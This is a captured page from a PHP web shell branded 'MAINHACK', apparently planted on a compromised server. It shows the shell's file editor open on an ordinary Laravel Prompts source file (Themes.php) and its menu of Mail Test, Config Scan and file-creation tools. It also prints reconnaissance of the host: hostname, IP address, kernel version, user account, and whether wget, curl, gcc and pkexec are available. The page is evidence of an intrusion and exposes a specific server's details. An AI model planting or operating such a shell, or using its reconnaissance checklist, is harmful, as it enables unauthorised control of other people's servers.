[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Themes.php
<?php namespace Laravel\Prompts\Concerns; use InvalidArgumentException; use Laravel\Prompts\ConfirmPrompt; use Laravel\Prompts\MultiSearchPrompt; use Laravel\Prompts\MultiSelectPrompt; use Laravel\Prompts\Note; use Laravel\Prompts\PasswordPrompt; use Laravel\Prompts\PausePrompt; use Laravel\Prompts\Progress; use Laravel\Prompts\SearchPrompt; use Laravel\Prompts\SelectPrompt; use Laravel\Prompts\Spinner; use Laravel\Prompts\SuggestPrompt; use Laravel\Prompts\Table; use Laravel\Prompts\TextareaPrompt; use Laravel\Prompts\TextPrompt; use Laravel\Prompts\Themes\Default\ConfirmPromptRenderer; use Laravel\Prompts\Themes\Default\MultiSearchPromptRenderer; use Laravel\Prompts\Themes\Default\MultiSelectPromptRenderer; use Laravel\Prompts\Themes\Default\NoteRenderer; use Laravel\Prompts\Themes\Default\PasswordPromptRenderer; use Laravel\Prompts\Themes\Default\PausePromptRenderer; use Laravel\Prompts\Themes\Default\ProgressRenderer; use Laravel\Prompts\Themes\Default\SearchPromptRenderer; use Laravel\Prompts\Themes\Default\SelectPromptRenderer; use Laravel\Prompts\Themes\Default\SpinnerRenderer; use Laravel\Prompts\Themes\Default\SuggestPromptRenderer; use Laravel\Prompts\Themes\Default\TableRenderer; use Laravel\Prompts\Themes\Default\TextareaPromptRenderer; use Laravel\Prompts\Themes\Default\TextPromptRenderer; trait Themes { /** * The name of the active theme. */ protected static string $theme = 'default'; /** * The available themes. * * @var array<string, array<class-string<\Laravel\Prompts\Prompt>, class-string<object&callable>>> */ protected static array $themes = [ 'default' => [ TextPrompt::class => TextPromptRenderer::class, TextareaPrompt::class => TextareaPromptRenderer::class, PasswordPrompt::class => PasswordPromptRenderer::class, SelectPrompt::class => SelectPromptRenderer::class, MultiSelectPrompt::class => MultiSelectPromptRenderer::class, ConfirmPrompt::class => ConfirmPromptRenderer::class, PausePrompt::class => PausePromptRenderer::class, SearchPrompt::class => SearchPromptRenderer::class, MultiSearchPrompt::class => MultiSearchPromptRenderer::class, SuggestPrompt::class => SuggestPromptRenderer::class, Spinner::class => SpinnerRenderer::class, Note::class => NoteRenderer::class, Table::class => TableRenderer::class, Progress::class => ProgressRenderer::class, ], ]; /** * Get or set the active theme. * * @throws \InvalidArgumentException */ public static function theme(?string $name = null): string { if ($name === null) { return static::$theme; } if (! isset(static::$themes[$name])) { throw new InvalidArgumentException("Prompt theme [{$name}] not found."); } return static::$theme = $name; } /** * Add a new theme. * * @param array<class-string<\Laravel\Prompts\Prompt>, class-string<object&callable>> $renderers */ public static function addTheme(string $name, array $renderers): void { if ($name === 'default') { throw new InvalidArgumentException('The default theme cannot be overridden.'); } static::$themes[$name] = $renderers; } /** * Get the renderer for the current prompt. */ protected function getRenderer(): callable { $class = get_class($this); return new (static::$themes[static::$theme][$class] ?? static::$themes['default'][$class])($this); } /** * Render the prompt using the active theme. */ protected function renderTheme(): string { $renderer = $this->getRenderer(); return $renderer($this); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002